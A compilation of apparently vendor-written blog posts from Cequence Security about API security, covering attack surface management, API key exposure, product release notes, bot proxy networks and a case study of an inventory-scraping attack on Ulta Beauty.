API endpoints tend to have direct access to sensitive data stored in the backend of applications. An API endpoint containing an OWASP API Top 10 vulnerability might be compromised by a cyber-attack that can lead to direct access to sensitive data. Since API applications are constantly changing, this is a never-ending problem that requires constant monitoring. API protection solutions can surface sensitive data access providing insight into how API endpoints access data in the backend. This is a critical piece in protecting any API applications since sensitive data is often the ultimate target of cybercriminals.

API Protection and Six Stages of Continuous API Lifecycle

When it comes to protecting APIs, an API protection solution should address each of the six stages of a continuous API lifecycle. By addressing these stages, security teams can ensure a unified approach to API protection, that most effectively complements a CNAPP solution.

API protection solutions such as the Cequence Unified API Protection (UAP) solution allow customers to properly address all six stages of the API lifecycle so that organizations can have a complete and continuous understanding of their API attack surface as the state of their APIs changes.

Figure: Unified API Protection

1. Discovery: Enables the continuous discovery of an organization’s API attack surface. This is not limited to just APIs discovered through local traffic flows but discovering unknown shadow APIs that are implemented without any security oversight.
2. Inventory: Allows for the inventory of both managed and unmanaged APIs, ensuring that security teams can manage their entire API inventory from a single location.
3. Compliance: Ensures that your APIs are compliant with your organization’s security policy and industry best practices. Development teams are notified of non-compliant APIs and can prioritize critical security issues that require immediate remediation.
4. Detection: Detects real-time API threats that target your application with extremely low false positive rates without the need for agents, mobile SDK, or instrumentation.
5. Prevention: Provides real-time inline prevention of API cyber-attacks that target your mission-critical applications without the need to rely on third-party infrastructure to mitigate threats.
6. Testing: Enables customers to test their APIs for conformance, risks, and sensitive data exposure before they are pushed into production.

Implement the Right API Security Solution for Your CNAPP

CNAPP vendors serve a critical purpose in simplifying and managing critical cloud native security and cloud security posture issues that have been afflicting organizations for years. These vendors can help security and DevOps teams continuously monitor their cloud infrastructure ensuring that critical security issues are remedied before attackers exploit them. Cloud native security-focused vendors serve as a purposeful and complementary solution to API Protection solutions as CNAPPs do not fully extend up the stack to securing mission-critical API applications.

For API application protection, organizations also need to focus on implementing security solutions that understand how APIs are built, deployed, and exploited that unnecessarily expose their applications to cybercriminal activity. This often requires a separate and focused approach that understands the end-to-end API lifecycle and how to properly secure each stage, ensuring continuous API Protection for an organization’s mission-critical applications. A proper API protection solution can enable your organization to have an always-on approach that ensures that your mission-critical applications do not fall prey to a successful API attack.

Get a Free API Security Assessment of Your API Attack Surface

Free API Security Assessment

The Attack Surface Has Grown with API Usage

Application programming interfaces (APIs) help ensure a smooth running and engaging experience for mobile and web applications. For example, consumers are leveraging APIs behind the scenes when they use a mobile app to access their video streaming service, or their bank account records. In addition, online business to business (B2B) transactions between partners use APIs to enable their ordering and billing systems to communicate and share data.

The popularity of web and mobile apps for consumers and businesses continues at an astonishing rate. In fact, a recent study reported that there were over 230 billion mobile app downloads to connected devices in 2021. This growth in the use of mobile and web applications has resulted in potentially billions of API-driven transactions taking place every day. Cequence Security reported that of the 21.1 billion transactions analyzed in the last half of 2021, over 14 billion were API transactions.

However, with this growing application use and resulting API transaction activity, the attack surface which consists of all possible points, or attack vectors, where an unauthorized user can access a system and extract data has also grown. And attackers are taking notice of this expanded attack surface and exploiting APIs, resulting in theft, fraud, and business disruption.

According to Gartner, API attacks involving unmanaged, and unsecured APIs will become the most-frequent attack vector, causing a growing number of data breaches for enterprise web applications.

Yet even without the prevalence of APIs, attack surface management is challenging, with multiple facets that include, but are not limited to, asset discovery and management, vulnerability analysis, penetration testing, configuration management, and continuous monitoring. While there are multiple, well-defined categories of solutions from vendors that exist to secure the attack surface such as extended detection and response (EDR or XDR), security information and event management (SIEM) and security orchestration automation and response (SOAR), they do not focus on APIs as much. That’s because these strategies have no way to “know the unknown,” meaning they can’t look for all APIs and API vulnerabilities without knowing where to look. In addition, they fail to uncover and assess security risk into the external APIs that are only discoverable through an edge deployment or outside of the organization’s footprint.

The Challenges of An Effective External Attack Surface Management Program

The problem is that for already stretched applications and IT security teams, the challenge of securing an ever-changing API infrastructure as part of an effective attack surface management (ASM) program, without slowing down API usage and growth is becoming increasingly critical and difficult. This is due to the sheer volume of API transactions and the fact that APIs provide well-defined doorways into the data and business processes of organizations. Attackers are relentless and sophisticated, and they are pulling out all the stops to exploit API-related attack surfaces with successful attacks using vulnerabilities such as those identified in the OWASP API Security Top 10.

In addition, managing the attack surface can be more complicated because while some attacks focus on incorrectly coded or misconfigured APIs, even the most compliant and secure APIs can be exploited by attackers in the form of business logic abuse and automated threats resulting in data loss, fraud, and business disruption. And when APIs lack even the most basic security practice and standards such as weak or absent authentication, sensitive data exposed in clear text, or non-conformance to basic and required API specifications; they become easy targets, creating both security exposure and compliance risk.

When it comes to the external attack surface and protecting APIs, security teams simply lack the visibility and defense capabilities they need to reduce their ever-growing risk profile from APIs and other application connections. These teams often deploy an ASM strategy by extending their existing security tools such as web application firewall (WAF) mitigation and API gateways to manage their known attack surface.

These security efforts to manage, extend, exert and shift fall short by leaving the organization with unknown and unmitigated security and compliance exposure from “shadow” APIs and infrastructure. What’s more, they don’t provide a means to detect and block sophisticated attacks that look like legitimate traffic or transactions but are attempts to evade and commit fraud and theft.

Attack Surface Management and Requirements for Protection of APIs

What can security teams do to ensure their ASM program assists in the effort for protection of APIs?

First, they need visibility into all APIs, including internal-facing and external-facing. An external-facing view of APIs is particularly important as often this is what an attacker sees when they’re trying to figure out what to exploit. In fact, external attack surface management (EASM) can be viewed as an extension of ASM and incorporates the ability to have visibility into internet-facing assets, so that security teams can assess the security posture of the entire internal and external attack surface.

By being able to see exactly what an attacker sees from an outside-in perspective such as sub-domains, the cloud hosting service in use, any associated API endpoints, and the servers that may be exploitable using vulnerabilities such as Log4j, security teams can better continuously assess their organization’s public facing APIs and resources.

Yet while it’s all well and good to have this visibility into the attack surface, security teams then need to inventory all APIs and ensure their compliance with API specifications, to ensure APIs are free of errors, misconfigurations, and vulnerabilities.

Finally, there needs to be a way to protect APIs, even those that are perfectly coded, leveraging real-time, native, and robust inline threat prevention, stealthily blocking attacks without manual intervention or false positives.

Attack Surface Management – Powered by Cequence Unified API Protection

Cequence is the only offering that addresses all phases of the API protection lifecycle to defend APIs from attackers. Used as part of an ASM approach, UAP discovers all external-facing and internal APIs, and eliminates unknown and unmitigated API security risks that can lead to data loss, fraud, and business disruption. UAP uses behavioral fingerprints to track and block threats with unmatched efficacy, regardless of the evasive tactic employed, without relying on 3rd-party tools such as a WAF. Flexible response options include block, rate-limit, geo fence and deception.

Get Started Today to See How Cequence Can Help You with Attack Surface Management and API Protection

Get A Free Security Assessment of Your API Attack Surface

Live from anywhere, it’s API Bites! A few years ago, Gartner predicted that by 2022, API attacks would become the most-frequent attack vector, causing data breaches for enterprise business applications. The most recent Cequence Security API Usage and Threat Report found that 14.4 billion or 70% of the 21.1 billion application requests analyzed were API-based. In addition, our analysis uncovered that 80% of the attacks Cequence Security blocked were targeting APIs.

Enterprises are more dependent on APIs than ever before and protecting them is critical. Therefore, we are launching this vblog series, that complements our recently launched – Back to School Roadshows, and API Protection Best Practices weekly webinar series. Each Tuesday, we will bring to you our musings on all things API Protection to help you better secure your APIs from attacks or bites (pun intended).

Our approach will be for API Bites to provide a stream of snackable advice to the cybersecurity community to help you better protect your organization. Our snackable videos will include information on:

• Why our founders started Cequence eight years ago and its evolution
• Customer stories as they protect their APIs, and their business
• API Protection best practices
• On the front lines: insights from our CQ Prime Threat Research team
• New product updates and managed services enhancements
• Guest Bites from our investors, customers, and industry influencers.
• Technology trends

In celebration of being founded eight years ago, we dropped our first API Bites episode with our founders Ameya Talwalkar and Shreyans Mehta today. You will find additional episodes on our website here and on YouTube.

Over the course of the last two and a half years, we have evolved our runtime protection-based offerings to focus more broadly on the six phases of the API protection lifecycle. It’s been a rapid series of changes in a dynamic market that warrants a quick review to demonstrate how we have evolved to where we are today.

Humble Beginnings: Web App and API Runtime Security

The company was founded to solve the growing problem with automated attacks that were increasingly abusing APIs directly. Rather than follow the existing instrumentation with JavaScript and SDK approach that injected delays in development as well as page load times, Cequence took an agentless, ML-based approach to finding API attacks hiding in plain sight. By following an API first approach, the solution can detect and mitigate bot attacks on APIs, web and mobile apps with the exact same policies to reduce management overload. Flexible, predefined mitigation options to support real-time responses without the need to signal 3rd-party security components. Customer wins at some of the world’s most prestigious brands confirmed that the API first direction was well chosen.

Visibility, Inventory Tracking and Runtime Protection for APIs

In June of 2020, the Unified API Protection Solution expanded with API Sentinel, a perfect extension to the API-first direction we had chosen. API Sentinel added holistic API inventory and risk assessment features to the solution which immediately helped customers find and protect their APIs. Integration with a wide range of networking components (e.g., API gateways, CDNs, Service Mesh, proxies, load balancers) helps ensure that known and unknown, managed or unmanaged APIs are captured and tracked. Support for predefined and custom risk assessment rules helps customers uncover sensitive data, authentication or specification non-conformance related coding errors for production and non-production APIs. An API security report is generated by categorizing and flagging risks for rapid remediation by development. Solving enterprise customer compliance and API sprawl problems confirmed again that the solution is addressing critical API protection pain-points.

Attack Surface Management, API Visibility and Runtime Protection

The most recent addition to the Unified API Protection Solution is API Spyder, a highly innovative API (API) attack surface management tool that gives customers the ability to better protect their APIs with an attacker’s view of their public facing resources – without requiring any software installation, or traffic redirections. Available solely as a service (SaaS), customers enter their web domain into the API Spyder portal and shortly thereafter, they see an API security report that categorizes exposed assets and services for remediation based on risk. Validating that API Spyder is solving customer problems, common discoveries include unapproved cloud resources, unpatched instances of Log4j and LoNg4j vulnerabilities, shadow APIs, non-production APIs publicly exposed and much, much more.

Unified API Protection Encompasses the Entire API Lifecycle

History has shown that the rapid adoption of a particular technology is followed by an equivalent growth in solutions designed to ensure the growing technology is protected. The pace of change often leads to understandable confusion for prospects, customers and other market participants.

Our market-defining Unified API Protection solution takes a holistic approach to defending against API-related risks, going beyond traditional, silo-based API security approaches that may focus solely on one aspect of the API protection journey. The problem with these approaches is that they don’t have a way to “know the unknown”, meaning they aren’t able to look for all APIs and associated vulnerabilities without knowing where to look. Even if all APIs are discovered and “known”, attackers can still leverage seemingly legitimate transactions in an attempt to steal data, or commit fraud. Traditional approaches that use WAFs or API gateways depend on easily evadable detection, lack the real-time ability to discern good from bad API activity and are reliant on static, least common denominator protection spread across multiple technology components.

Achieving true peace of mind for comprehensive API runtime security means addressing each of the six distinct phases associated with the Unified API Protection solution:

• Outside-in discovery: Viewing an organization’s API attack surface from an attackers’ perspective to know the unknown.
• Inside-out inventory: Performing a comprehensive API inventory, including all existing APIs and connections.
• Compliance monitoring: Keeping APIs in compliance with specifications, standards, and regulations such as the OpenAPI Specification to ensure high coding quality, consistency, and governance.
• Threat detection: Continuously scanning for attacks, including subtle business logic abuses and malicious activity that has not yet been observed.
• Threat prevention: Employing countermeasures such as alerts, real-time blocking and even deception, without the need for added third-party data security tools.
• Continuous testing: Integrating API protection into development with specific testcases, which shifts API security left within the organization, so risky code doesn’t go live.

Unified API Protection is different from fragmented or incomplete API security offerings because it’s a methodology designed to account for multiple types of risk, across every phase of the API protection lifecycle.

Ready to learn more? Get a personalized Unified API Protection demo now.

Have you ever thought about how different apps and devices connect to each other, from the car that tells you where the nearest gas station is, to your phone that gets weather and sports updates? The unsung hero of our connected world is the Application Programming Interface (API). They are the connective tissue that enable developers to explore new services, integrating them into new, great solutions faster. But with this power, flexibility, and widespread use comes a critical need for robust API security to ensure users interact with them safely.

To accomplish this, developers can use one of several authentication standards including API Keys, OAuth, and Java Web Tokens (JWT). In this article we will look at what an API key is, the risks of exposing them and recommendations for API key protection best practices.

What are API Keys?

An API key is used as a form of authentication to provide users with authorized access to the data it returns. The authentication access is provided in the form of a secret token. In simple words, an API key is akin to a password that lets the API confirm your identity. Once an API knows you are legitimate, you can access the application full set of features.

Example of an API key: 3f4ea49s-c113-471t-a573-q9r005yrb52fe

Risks and Consequences of API Keys Exposure

Now, consider an unauthorized attacker gets authenticated to an API. This means the attacker can see all the information provided by the API. The attacker can then modify and update all the information – files, workflows, contacts, pipelines – related to the API. In a real-world example, cybercriminals have been observed exploiting (poorly protected) cryptocurrency exchange API keys and using them to steal cryptocurrencies from victims.

Common API Key Protection Errors – The Importance of Secured API Keys

An insecure API key is a high-value target for attackers who can use them to obtain critical data and gain unauthorized access to computers and networks. They are often targeted by distributed denial-of-service (DDoS), man-in-the-middle (MITM) attacks, and broken access control, which means they need to be exceptionally secure. A review of several recent high-profile security incidents highlights the challenges in protecting API keys.

• Publicly exposed without a password: An API key owned by Starbucks was found online without password protection, which could have been exploited by attackers to access internal systems and alter the list of approved users of their application.
• Poor API coding practices: Researchers recently found 3,207 apps were exposing the API keys that were linked to Twitter accounts. In this case, developers may have embedded the keys in the Twitter API but forgot to remove them prior to production. Researchers confirm that the leaked keys would allow attackers to access Twitter accounts directly and perform a range of actions such as read direct messages, retweet, like and delete tweets, modify, add, and change the access account settings.
• Hard-coded API keys: In another possible example of developer error, hard-coded API keys at HubSpot exposed over 1.6 million names, email addresses, and contact numbers. Given the speed of app development and updates, developers often hardcode API keys into their source code, accelerating development, but also making it easy for attackers to obtain sensitive information.

As API usage continues to soar, the risk of API key related security incidents are sure to follow, resulting in data loss, fraud, and business disruption.

API Key Protection Best Practices

There is no single step an organization can take to make sure their API keys are protected. Improving your API key protection posture requires a collaborative effort that includes developers, application owners and the security team.

• API key management: A critical step to ensuring API keys are protected is to implement an API key management program, which can help minimize some of the risks mentioned above. For example, applying expiration dates to API keys can help minimize the impact of the discovery of a hard-coded API key. Similarly, key management would allow an organization to quickly invalidate the API keys in the event of a compromise or breach.
• Rate limiting API keys: Rate limiting your API keeps it from being overloaded in the case that an attacker succeeds in bypassing your encrypted authentication and authorization procedures. For example, an unusually high number of requests from a user may be an indication of malicious activity in the form of a denial-of-service assault. A rate limiting and monitoring solution keeps the API keys secured and in turn the API service healthy.

• User authentication: For the simplest degree of protection against the attackers, you must be aware of who is using your API. As a result, users must be registered by giving them API keys. Assigning API keys to enforce simple authentication enables you to control who is using your API. It also allows you to monitor, and determine who is making API requests.
• Train developers on secure API coding practices: APIs function a bit differently than a traditional application because they tend to include the desired function and the payload/content, which may include sensitive data and access to API keys. It’s critical that developers be trained to understand these subtle differences and account for them in their coding efforts.
• Adopt an API specification framework: Complementing the developer training effort is an adoption of an API specification framework like OpenAPI. Doing so helps ensure that the API is coded to the defined specification, which would include how API keys are treated and used. Specification frameworks provide the additional benefit of improving quality, consistency, and overall security.

Summary: Stay On Top of Your API Security

API keys, when implemented correctly, are a great way to enable authorized communication with different servers. As we reviewed in this article, there are numerous risks in leaving the API keys exposed which can be a great challenge to any organization. Therefore, API key security has become vitally important for businesses today. Thanks for reading.

Schedule your free API Security Assessment today.

The Cequence Unified API Protection cumulative release (v5.2 to v5.4) adds new capabilities to enhance the export, categorization, and the prioritization of security events. In addition, there is enhanced rationalization of API endpoint discovery when multiple endpoints are found. These added capabilities further ensure the discovery and compliance of all your APIs, along with attack detection, prevention, and testing – as APIs are constantly added into your infrastructure.

Following are the key new features in this release of the Cequence Unified API Protection (UAP) solution:

Increased Visibility of Bot Detection and Mitigation into SIEM, SOAR Tools

Customers can now use Spartan to export bot detection events and bot mitigation events to a SIEM, SOAR or any other third-party tool that supports http-based integration. This type of integration will allow events to be exported to systems such as Splunk and Datadog.

This enables security analysts or fraud teams to ensure faster response and remediation of attacks on APIs by analyzing bot detection events and bot mitigation events by leveraging analytics features in SIEM or SOAR tools.

To accomplish the export of events, users create a data export configuration using the HTTP connector, specify the authentication credentials for the system receiving the data, and the types of events they want exported.

Creating a Data Export with the HTTP Connector

Defining Events to Export

Enhanced Mitigation of API Attacks by Eliminating Remediation Priority Conflicts

Spartan now has improved management of policies that determine the order of API attack mitigation. Spartan provides the ability to prioritize policies that help natively mitigate API security events. Every policy has a priority which determines the order in which policies will be applied by the Cequence Defender component; a low value means a policy has a higher priority than other policies and, therefore, will take precedence. With this new feature, Defender will now prevent a user from creating and saving a policy if there is already an existing policy with the same priority thus resulting in even higher efficacy in API attack mitigation.

New Summary Dashboard Streamlines Risk Assessments

Administrators can now quickly summarize the information API Sentinel has collected with a new summary dashboard to provide reports to executive teams. This dashboard helps quickly determine the number of APIs within a single domain or across multiple domains, as well as general characteristics of the API endpoints.

API characteristics include:

• Discovered (do not match any OpenAPI Definition)
• Published (included in an OpenAPI definition)
• Shadow (match an OpenAPI definition, but are not published in it)

The dashboard helps to identify what has recently changed in the environment so that an analyst can quickly determine what is new over preset times of 24 hours, 3 days, or 1 week. The summary dashboard can answer questions such as how many new API endpoints have been discovered in the last 24 hours or how many new risks have been uncovered over the last 1 week. The counts present in the dashboard are actionable allowing customers to click and link back into API inventory with a meaningful filtered view of the API endpoint.

New API Sentinel Summary Dashboard

Watch the video to learn more about these new features and schedule a live demo

Better Understand Risk Based on OWASP API Risk Categories

This new feature allows users to use API Sentinel to flag API endpoints with OWASP API Top 10 risks using out-of-the-box risk categories.

API security has its own unique challenges compared to web applications. OWASP, the body that created the top ten for web application security, created a separate list for the top 10 API vulnerabilities. These are a community driven well known set of vulnerability categories relevant to APIs.

API Sentinel’s original default risk assessment and scoring is based on Access Control, Schema Non-Conformance, and Sensitive Data Exposure. These will now be grouped as V1 System Risk Categories and can continue to be utilized. But a new set of V2 System Risk Categories have been added that align with the more commonly understood OWASP API top 10.

The V1 System Risk Category rules have been redistributed and enhanced with additional functionality into the V2 System Risk Category rules. The new V2 rules can be enabled in place of the V1 rules to allow users to better understand risk detected by API Sentinel based on a more commonly used standard.

OWASP API Risk Categories

Data Export of Events for Additional Offline Analysis of Risk

A risk event is anything that triggers a rule as part of a Risk Category. The API inventory generalizes its analysis and provides metadata in place of the actual data. There are times where the actual data needs to be examined further. Data Export for API Sentinel introduces the ability to send specific informational details to third party systems for storage and further analysis. Custom configuration allows users to have granular control over what data they want to send to these third-party systems.

This feature helps application security analysts or risk teams analyze API risk information in offline analysis using a SIEM or SOAR system.

Data Export Configuration for Risk Events

Quickly Uncover Passwords Communicated in an Insecure Manner

API Sentinel users can now automatically discover API endpoints that use query parameters, body parameters, or request headers with the name “password,” indicating that password values are being communicated in an insecure manner from users to the API server.

This rule can also be generalized to create other such rules that look for field names with such text that might be concerning for a given application or use-case.

Risk categories have traditionally evaluated the VALUE in a KEY=VALUE pair in a header, body and/or query parameter, to access risk. With this new feature, risk categories can be configured to evaluate the component field names, the KEYS instead of their VALUES. The “password” field is one such example but can be generalized to look for any other pattern as well.

Predefined Password Field Risk Rule

Multiple Merge of Discovered Endpoints Helps Enhance Efficiency of Risk Assessment

Merging coalesces a discovered API endpoint into another discovered API endpoint which may better represent it. This is now automatically done by API Sentinel by analyzing the API endpoint paths and inferring the values that are parameterized.

In previous versions merging one endpoint with another was only possible for one API endpoint at a time. With this release, users are now prompted with additional, similar API endpoints which can also be merged into the same parent API endpoint. This enhances the user experience when attempting to merge multiple API endpoints and enhances efficiencies in risk assessment.

Multiple Merge of Discovered Endpoints

The Cequence Unified API Protection solution addresses the API security problem with a prevention first approach that natively detects and mitigates billions of attacks and vulnerabilities against APIs for our Fortune 500 customers every day.

Watch the video to learn more about these new features and schedule a live demo

Introduction

It’s Christmas and your child wants the latest new gaming console – just like everyone else. As a doting parent, you say you will do what you can. On the date they become available, promptly at 9am, using multiple browsers and mobile devices, you try to acquire one. Just one. Before you finish typing your credit card, the inventory is sold out. You just lost out to an automated shopping bot, accurately referred to as a “Grinch Bot”, designed to use automation, computer-based speed and massive scale to buy high demand items. The massive scale in this scenario is a network of many thousands of IP addresses, also referred to as proxies, used by malicious bots to increase their chances of success and equally important, maintain anonymity. This blog outlines some of the different types of proxies, how they are used by threat actors and how they can be used by security teams to uncover and block malicious transactions, possibly increasing the chance of scoring that new game console for your child.

What is a proxy?

A proxy is a server that you can send traffic to that would then be re-sent to the destination address, but with the source address now being the proxy’s address instead of the original sender. A potential legitimate use case for a proxy is a whistleblower who wants to bring a critical issue to light but wishes to maintain anonymity. On the flip side, as shown in the image below, a bot will use a large pool of these proxy addresses to disguise their credential stuffing traffic, so it appears to come from many distinct addresses instead of all from the same actor. Because of this, proxies are an essential tool for any threat actor operating at scale while trying to avoid being blocked.

Bulletproof Proxy Services

So, now that we know how essential a proxy network is for conducting a bot attack, how do threat actors get access to one? It is not financially feasible for every threat actor to construct their own proxy network, as acquiring and maintaining access to a large network is very costly and would render most attacks unprofitable. This is where some savvy providers have stepped in to provide proxies as a service. These Bulletproof proxy providers, whose name is derived from Bulletproof hosting, have discovered that there are many actors willing to pay for access to a proxy network and quickly jumped on the opportunity. Bulletproof hosting refers to hosting providers that advertise a service that does not care what they host, but still offer uptime guarantees to customers hosting their sites through them. On the outside, this type of service might appear innocent, as it seems to be a fair and content-blind way to host sites. In practice, these providers and the sites they host are not innocent, with many dark web sites hosted using this type of service.

Similarly, Bulletproof proxy providers advertise unrestricted access to websites for market research or access from countries where traffic may otherwise be blocked. In practice, however, legitimate users would only need access to a handful of proxies, not the massive networks that these providers give access to. Many providers advertise access to millions of different proxies, both residential and datacenter, with varying pricing plans. Bulletproof proxy vendor examples include SmartProxy, Oxylabs, and Bright Data.

Residential vs. Datacenter Proxies

Datacenter proxies generally come from large datacenters, where individuals have acquired large blocks of network infrastructure for relatively little money. The caveat is that these proxies are lower quality and come from organizations and Autonomous System Numbers (ASNs) that one would not expect general user traffic for a public-facing website to come from. Residential proxies, on the other hand, generally are higher quality and come from organizations and ASNs that one might actually expect user traffic to come from. These proxies can be anything we might have deployed in our home – PCs, servers, cable boxes, garage door openers, and even a refrigerator. Residential proxies are more expensive than a datacenter proxy because the individual IPs need to be acquired or compromised instead of purchased in bulk and their residential location make the traffic appear more like a real user.

Using Bot Infrastructure as a Defense Technique

So, how can we identify bot actors based on their infrastructure? We can target the proxies they are using. In order to beat threats at scale, you need scale yourself. Boasting the largest collection of malicious infrastructure, Cequence Network IQ is home to our infrastructure threat data. Within Network IQ are several sub-systems that allow us to make practical use of its rich data. The system within Network IQ that is used to identify and tag proxies that bots are using every day to attack our customers is called IP Threat Score, so let’s take a look at how it works.

Sourcing IP Intelligence from Multiple Sources: IP Threat Score

The IP Threat Score utilizes and parses large amounts of threat data to identify proxy IPs in real time. The IP data is collected from multiple sources (outlined below), and is applied to the benefit of all Cequence customers.

• Passive Threat Research: Cequence has crawlers that are constantly active and searching the web for public data feeds that contain proxy or IP reputation information. They automatically populate our databases with their findings.
• Active Threat Research: The CQ Prime threat research team also goes directly to the source – Bulletproof proxy providers themselves. After obtaining access to their networks, we are able to enumerate the IPs they use and add them to our databases an automated fashion.
• Field Data: Finally, the third threat data feed for IP threat score is data sourced directly from the field. We automatically tag and ingest proxy IPs that we see actually carrying out attacks every day. This is perhaps the most essential source of data for our system, as it looks at what infrastructure bots are really using to carry out their attacks.

Importantly, the majority of the data collection is automated and allows our system to adapt to the ever-changing landscape of active bot infrastructure on the fly.

Putting Data to Work Blocking Bots

Rich data means nothing if we are not able to use it to extract useful information. Important for data of this scope is to extract meaningful features that allow us to create a sliding scale when classifying how bad infrastructure is, whether it is an individual IP address, network block, organization, or ASN. Using the rich data we collect and the features we generate, we can identify not only the worst offending individual IPs, but also entire network blocks, organizations, or ASNs. Using both of these as block criteria, we can identify groupings of proxy IPs corresponding to datacenter proxies, as well as have the granularity to identify individual residential proxies. As an example, for individual attack campaigns using datacenter proxies, 98-100% of attack traffic is tagged as such by IP Threat Score even if the individual IPs themselves are not in our threat database.

This is the power of being able to group and identify malicious infrastructure. Of course, we also have mechanisms in place to address the potential for false positives to ensure that legitimate user traffic is not blocked by our system. In practice, the infrastructure information is combined with our behavioral ML models and rules in Bot Management to distinguish and mitigate malicious bots.

Conclusion

Intelligent threat actors have access to enormous amounts of network infrastructure to use as proxies for their attacks through Bulletproof proxy providers, allowing them to avoid being easily blocked. At Cequence Security, we are uniquely able to use the massive amount of bot data we process every day to enumerate and tag malicious bot infrastructure with high confidence and efficacy. Incorporating this information into our Bot Management product allows Cequence to add value on day one for new customers while making sure existing customers can detect emerging threats and attacks. When combined with our ML-based behavioral fingerprinting and mitigation capabilities, malicious bots stand no chance.

Schedule a personalized demo to see how Network IQ and Bot Management can help protect your applications and APIs.

Executive Summary

Cequence Security assisted the Ulta Beauty CTI team to mitigate a persistent, high volume inventory API scraping attack. While the goal of the attack was uncertain, potential motivations include enabling real world shoplifting opportunities by mapping popular inventory. The attack was executed across a 3rd party local-inventory search API with licensing fees, and mitigating it saved Ulta Beauty significantly across infrastructure and inventory costs.

Enumeration Attack Against 3rd Party API

The attack unfolded as the volume of requests against local-inventory search API spiked at 700X normal volumes rotating through more than 153,000 unique product and SKU combinations while scraping 61,000 zip codes and 33,000 products. The local-inventory search API supplier notified the Ulta Beauty team of the sudden traffic surge and an investigation uncovered an enumeration attack with the following characteristics:

• High-quality, residential proxy IP addresses were used to make IP blocking at the edge difficult
• The attack enumerated through ZIP codes to find high concentration of particular products with higher retail values
• Initially, web API was targeted but that quickly pivoted to the analogous mobile API which provides similar information

Collaborative Efforts Save $80,000

Working together, the Ulta Beauty CTI and the CQ Prime Threat Research Team put policies in place that have successfully blocked 85.9M total requests since April 1st resulting in $80,000 saved in infrastructure and loss prevention. At the height of the attack, policies were blocking upwards of 17M requests as shown in the chart below.

Polices block traffic that exhibit the following behaviors:

• Direct-to-API: The attack was designed to target the inventory API directly, without hitting any other app or web function. Normal behavior would show the user traversing multiple APIs.
• Volumetric threshold: The attacker used enumeration to rotate through the inventory at such a volumetric rate that it represented 90% of ALL the customer traffic at the time.
• Outdated browser: The attack was built to use very outdated or anomalous versions of Chrome.
• Single cookie generation: Each attack generated a single cookie whereas normal users would generate upwards of 40-50 cookies as they browsed the inventory.

A Win for All Parties

The rapid response and teamwork in blocking this attack resulted in a win for Ulta Beauty to the tune of $80,000 and a win for the local-inventory search API vendor, which no longer needed to bear the increased infrastructure costs. It’s also a win for the CQ Prime Threat Research Team who mobilized quickly to identify the attack, motives, behaviors and respond with appropriate blocking policies.

Continued Consolidation in API Security and Bot Management – A Need for Unified API Protection

As we have seen of late, in attempts to offer end-to-end application protection, web application firewall (WAF) vendors have been acquiring bot management companies. Examples of this activity include Imperva and Distil Networks, and F5 and Shape. However, the merging of two bot management companies, the industry didn’t necessarily see coming. But the rise of bot attacks is increasing the need for organizations to look to protect their organization from theft, fraud, and disruption. This means not only protection from sophisticated bots that exploit API vulnerabilities but also other kinds of API attacks that use business logic abuse and automated attacks such as ATO, credential theft, DDoS, and content scraping. We believe there will be continued consolidation of point solutions such as bot management, but customers’ needs will only be met by a solution that covers the entire API protection lifecycle which involves achieving visibility into all APIs, including public-facing, internal and unmanaged, and the mitigation of API vulnerabilities, ensuring API compliance, and the detection and prevention of attacks on APIs.

As pointed out by Sandy Carielli, Principal Analyst at Forrester, in a blog post, and an evaluation of the bot management company’s acquisition, the number of bot management specialists continues to decrease as they are acquired by WAF or API security vendors or they expand their own offerings. HUMAN and PerimeterX are two of the remaining bot management specialists — neither has WAF or API protection capabilities. The WAF and API protection gap is one that HUMAN will need to address soon, either through partnership, acquisition, or homegrown development.

According to Gartner, APIs have bubbled to the top as the #1 attack vector for web applications¹ supporting the hypothesis that while bot management is important, unmanaged, and unsecured APIs are as important, providing easy targets for attacks, and resulting in security and privacy incidents. And with more than half of businesses having between 50 and 500 APIs deployed, either internally or publicly, while some have over a thousand active APIs², security breaches related to APIs can be a constant challenge with the scale of use of APIs being enormous. Of the 21.1 billion transactions analyzed by Cequence Security in the last half of 2021, 14 billion were API transactions.

Click here to request a free API Protection assessment to get an attacker’s view
into your organization.

Complicating matters is that there’s over three million open cybersecurity jobs and this lack of skilled cybersecurity professionals is cited as the number one factor in securing web applications³.

The selection of a bot management-only point solution by businesses, along with the huge volumes of API transactions, and a lack of skilled personnel has resulted in gaps in protecting APIs.

Automated bot attacks involve large-scale campaigns that are used by attackers to disrupt services, steal credentials, and gain unauthorized access to critical systems. Shopping bots are technically sophisticated bots, and their use is driven primarily by the revenue opportunity in secondary markets for high demand items such as sneakers, game consoles, luxury products, and graphics cards.

These automated attacks hide in plain sight, masking themselves as legitimate transactions, making the block or not decision difficult for security teams. Organizations try to stay one step ahead with bot management solutions to continually track sophisticated bot attacks, even as attackers retool to avoid detection can help close the automated bot attack gap.

However, bot management is only the tip of the iceberg when it comes to API security for every aspect of the API protection lifecycle.

To stay ahead of sophisticated and relentless attackers, what’s needed for an effective API protection program is not just a bot management solution. And no amount of industry consolidation of these solutions will help.

An effective program involves a continuous API protection lifecycle that starts with discovery and inventory of all your APIs. How can you detect and protect automated bot attacks on APIs that you don’t even know about? You might have a great handle on internal APIs but what about those 3rd-party APIs hosted elsewhere? Or the fact that developers are constantly developing and deploying new applications and APIs?

In addition, you must be able to continuously assesses your public facing APIs and resources to show you exactly what an attacker sees from an outside-in perspective such as sub-domains, the cloud hosting service in use, any associated API endpoints, and the servers that may be exploitable using vulnerabilities such as Log4j and LoNg4J.

Click here to request a free API Protection assessment to get an attacker’s view
into your organization.

Beyond that tip of the iceberg, you’ll need an inside-out view of your APIs by integrating with any network infrastructure element to create an up-to-the-minute catalog of all your APIs, managed, unmanaged. Then, adding predefined ML-based risk assessment rules help uncover sensitive data handling, weak or missing authentication, and specification conformance coding errors for remediation. Having this will also help you achieve compliance assessment and remediation against best practices and standards.

Then, you can add in the detection of sophisticated and persistent attackers and their always changing attacks through native, real-time attack detection, which leverages ML, AI, and global API threat intelligence to fingerprint and identify attacks well beyond the OWASP API Top Ten, and evadable, least common denominator Domain-based signatures. As important, your API protection lifecycle will include inline stealthy and native mitigation that uses behavioral fingerprints to block threats with unmatched efficacy, regardless of the evasive tactic employed, leveraging a threat database comprised of threat patterns observed, known malicious infrastructure used and 3rd-party threat intelligence continuously analyzed for out-of-the-box protection.

This is what the complete “iceberg” would look like. No matter where you are in your API protection lifecycle, you’ll have all the components you need versus only point solutions.

To get more insights into how to protect your organization from Bot and API attacks request a free assessment or read our blog Why Unified API Protection – A Solution Whose Time Has Come.

